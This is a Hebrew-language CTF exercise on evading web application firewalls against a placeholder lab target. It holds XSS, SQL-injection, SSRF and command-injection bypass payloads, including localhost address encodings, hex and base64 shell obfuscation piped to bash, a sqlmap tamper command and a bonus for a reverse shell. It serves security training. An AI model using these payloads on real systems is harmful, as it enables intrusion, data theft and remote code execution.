לדלג לתוכן

אתגר CTF - עקיפת WAF

מבוא

אתגר זה משלב את כל הטכניקות שנלמדו בפרק 8. תעברו חמישה שלבים, כל אחד דורש שילוב של טכניקות עקיפה שונות. כל שלב נותן דגל (flag) שמאפשר גישה לשלב הבא.


שלב 1 - זיהוי ה-WAF

תיאור

הגישו בקשה לאפליקציית היעד ב-http://TARGET:8080/ וזהו את ה-WAF.

משימות

  1. השתמשו ב-wafw00f לזיהוי ראשוני:

    wafw00f http://TARGET:8080/ -a -v
    

  2. בצעו זיהוי ידני:

    # בדקו כותרות
    curl -I http://TARGET:8080/
    
    # שלחו בקשה זדונית ובדקו את דף החסימה
    curl -v "http://TARGET:8080/?test=<script>alert(1)</script>"
    
    # בדקו עוגיות
    curl -v http://TARGET:8080/ 2>&1 | grep -i "set-cookie"
    

  3. זהו את רמת הפרנויה על ידי בדיקה שיטתית:

    import requests
    
    target = "http://TARGET:8080"
    
    # מטענים לפי רמת פרנויה
    tests = {
        "PL1 - basic SQLi": "1' OR 1=1--",
        "PL1 - basic XSS": "<script>alert(1)</script>",
        "PL2 - encoded SQLi": "1' UNION ALL SELECT 1--",
        "PL2 - alt XSS": "<img src=x onerror=alert(1)>",
        "PL3 - suspicious chars": "SELECT FROM WHERE",
        "PL3 - any HTML tag": "<div onmouseover=x>",
        "PL4 - special chars": "(); {}",
    }
    
    for name, payload in tests.items():
        r = requests.get(f"{target}/search", params={"q": payload})
        status = "BLOCKED" if r.status_code == 403 else "PASSED"
        print(f"[{status}] {name}: {payload}")
    

  4. תעדו את הממצאים שלכם:

  5. סוג ה-WAF
  6. גרסה (אם זיהיתם)
  7. רמת פרנויה משוערת
  8. חוקים ספציפיים שזיהיתם

דגל שלב 1: לאחר זיהוי נכון, הגישו את התשובה ב-/api/stage1?waf=WAF_NAME&paranoia=LEVEL


שלב 2 - עקיפת XSS

תיאור

נקודת הזרקת XSS מוחזרת (Reflected XSS) בכתובת:

http://TARGET:8080/search?q=USER_INPUT

הקלט מוזרק ישירות ל-HTML:

<div id="results">
    <p>חיפשת: USER_INPUT</p>
</div>

ה-WAF חוסם:
- כל סוגי תגיות <script>
- Event handlers נפוצים: onerror, onload, onclick, onfocus
- פונקציות: alert, eval, Function
- javascript: protocol
- קידוד URL של הנ"ל

משימות

  1. נסו שרשרת קידוד:

    # קידוד URL כפול
    # ישויות HTML
    # Unicode full-width
    # שילובים של הנ"ל
    

  2. נסו תגיות חלופיות עם event handlers חלופיים:

    <details open ontoggle=...>
    <svg onload=...>
    <marquee onstart=...>
    <math><mtext><img src=x onerror=...>
    

  3. נסו פונקציות חלופיות:

    confirm()
    prompt()
    [].constructor.constructor('...')()
    

  4. שלבו טכניקות:

  5. תגית חלופית + event handler חלופי + קידוד של הפונקציה
  6. Unicode full-width + פונקציה חלופית
  7. HPP לפיצול המטען

  8. המטרה: להריץ alert(document.domain) בדפדפן

דגל שלב 2: כאשר ה-JavaScript רץ, הוא חושף את הדגל בעמוד.


שלב 3 - עקיפת SQLi

תיאור

נקודת הזרקת SQL בכתובת:

http://TARGET:8080/api/products?category=electronics

שאילתה בצד השרת:

SELECT id, name, price FROM products WHERE category = 'USER_INPUT'

טבלת flags:

CREATE TABLE flags (
    id INT,
    flag VARCHAR(64)
);

ה-WAF חוסם:
- UNION SELECT (כל הווריאציות הנפוצות)
- OR 1=1, AND 1=1
- information_schema
- SLEEP(), BENCHMARK()
- הערות /**/ ו---
- קידוד URL של הנ"ל

משימות

  1. נסו תחביר חלופי:

    -- סימון מדעי
    'e0UNION SELECT ...
    
    -- סוגריים ללא רווחים
    'UNION(SELECT(...))
    
    -- MySQL conditional comments
    '/*!50000UNION*//*!50000SELECT*/...
    
    -- שורות חדשות במקום רווחים
    '%0aUNION%0aSELECT%0a...
    

  2. שלבו עם טכניקות קידוד:

    # קידוד URL כפול
    # Unicode
    # Hex strings
    

  3. שלבו עם טכניקות פרוטוקול:

    # Chunked encoding
    # Content-Type mismatch
    # HPP
    

  4. המטרה: חלצו את הדגל מטבלת flags:

    ' ??? UNION ??? SELECT ??? flag ??? FROM ??? flags ???
    

דגל שלב 3: תוכן שדה flag בטבלת flags.


שלב 4 - SSRF מאחורי WAF

תיאור

נקודת SSRF בכתובת:

POST /api/preview HTTP/1.1
Content-Type: application/json

{"url": "https://example.com"}

השרת מבצע בקשת HTTP ל-URL ומחזיר את התוכן. שרת פנימי רץ על http://127.0.0.1:9090/flag ומכיל את הדגל.

ה-WAF חוסם:
- 127.0.0.1 (כל הפורמטים הנפוצים)
- localhost
- 0.0.0.0
- 169.254.x.x
- כתובות פרטיות (10.x, 172.16.x, 192.168.x)
- file://, gopher://, dict://
- IPv6 [::1]

משימות

  1. נסו ייצוגים חלופיים של 127.0.0.1:

    urls = [
        "http://2130706433:9090/flag",
        "http://0x7f000001:9090/flag",
        "http://0177.0.0.1:9090/flag",
        "http://127.1:9090/flag",
        "http://0x7f.1:9090/flag",
        "http://[0:0:0:0:0:ffff:127.0.0.1]:9090/flag",
        "http://0:9090/flag",
        "http://0x00000000:9090/flag",
    ]
    

  2. נסו DNS-based bypass:

    http://127.0.0.1.nip.io:9090/flag
    http://localtest.me:9090/flag
    

  3. נסו redirect-based bypass:

  4. הקימו שרת שמחזיר:
    HTTP/1.1 302 Found
    Location: http://127.0.0.1:9090/flag
    
  5. שלחו ל-http://YOUR_SERVER/redirect

  6. שלבו עם טכניקות קידוד:

    # קידוד URL של הכתובת
    # Unicode characters
    # ערבוב
    

דגל שלב 4: תוכן התגובה מ-http://127.0.0.1:9090/flag.


שלב 5 - אתגר סופי - RCE

תיאור

השלב הסופי משלב את כל מה שלמדתם. נקודת הזרקת פקודות:

POST /api/tools/dns HTTP/1.1
Content-Type: application/json

{"domain": "example.com"}

השרת מריץ:

nslookup USER_INPUT

הדגל נמצא בקובץ /flag.txt.

ה-WAF חוסם (רמת פרנויה 4):
- כל מפרידי פקודות: ;, |, &, `
- $( ו-)
- cat, head, tail, less, more, nl, tac
- /flag, flag.txt
- שורות חדשות בגוף JSON
- Wildcards: *, ?
- קידוד URL של כל הנ"ל
- הערות #
- Backticks

משימות

זה האתגר הקשה ביותר. תצטרכו לשלב מספר טכניקות:

  1. ברמת פרוטוקול:
  2. שנו Content-Type
  3. השתמשו ב-chunked encoding
  4. נסו HPP

  5. ברמת קידוד:

  6. קידוד כפול
  7. Unicode
  8. Hex

  9. ברמת פקודה:

  10. הרחבת משתנים: $'\x63\x61\x74'
  11. מרכאות: c""at
  12. Base64: echo ... | base64 -d | bash
  13. Variable splitting: a=c;b=at;$a$b

  14. ברמת נתיב:

  15. Wildcards: /????.???
  16. Symlinks
  17. /proc/self/root/flag.txt

  18. רמזים:

  19. שורות חדשות בתוך JSON עשויות לעבוד אם מקודדות כ-\n (JSON escape) ולא כ-%0a
  20. חלק מה-WAFs לא בודקים גוף JSON באותו אופן כמו form-urlencoded
  21. נסו \n כמפריד פקודות בתוך JSON string
  22. שילוב של Variable expansion עם hex escape: $'\x63\x61\x74' = cat
  23. נתיב חלופי לקובץ: /proc/self/root/flag.txt או symlink

דגל שלב 5: תוכן /flag.txt.


משאבים מומלצים

מעבדות PortSwigger

אתגרי HackTheBox

  • WAF bypass challenges בקטגוריית Web
  • Machines עם WAF: Bounty Hunter, Nunchucks, Trick

כלים

  • wafw00f - זיהוי WAF
  • SQLMap - עם tamper scripts לעקיפת WAF:
    sqlmap -u "http://target/page?id=1" --tamper=space2comment,between,randomcase
    
  • Burp Suite + Hackvertor - שרשראות קידוד
  • XSStrike - מציאת מטעני XSS שעוקפים פילטרים

מערכת ניקוד

שלב ניקוד נושא
שלב 1 10 נקודות זיהוי WAF
שלב 2 20 נקודות עקיפה ל-XSS
שלב 3 25 נקודות עקיפה ל-SQLi
שלב 4 20 נקודות עקיפה ל-SSRF
שלב 5 25 נקודות שילוב לכל טכניקות ל-RCE
סהכ 100 נקודות

בונוסים

  • שלב 2: מטען XSS ללא תגיות כלל (בתוך הקשר JavaScript) - 5 נקודות בונוס
  • שלב 3: חילוץ כל הנתונים מכל הטבלאות - 5 נקודות בונוס
  • שלב 5: ביצוע reverse shell - 10 נקודות בונוס

דוח

בסיום האתגר, הגישו דוח שמכיל:

  1. לכל שלב:
  2. המטען שעבד
  3. רשימת הניסיונות שנחסמו
  4. הסבר למה העקיפה עובדת
  5. הדגל

  6. סיכום:

  7. איזו טכניקה הכי יעילה באופן כללי?
  8. איזה שילוב טכניקות הכי עוצמתי?
  9. אילו המלצות הגנה הייתם נותנים?

  10. סקריפטים:

  11. צרפו את כל הסקריפטים שכתבתם
  12. תעדו כל סקריפט עם הסבר לשימוש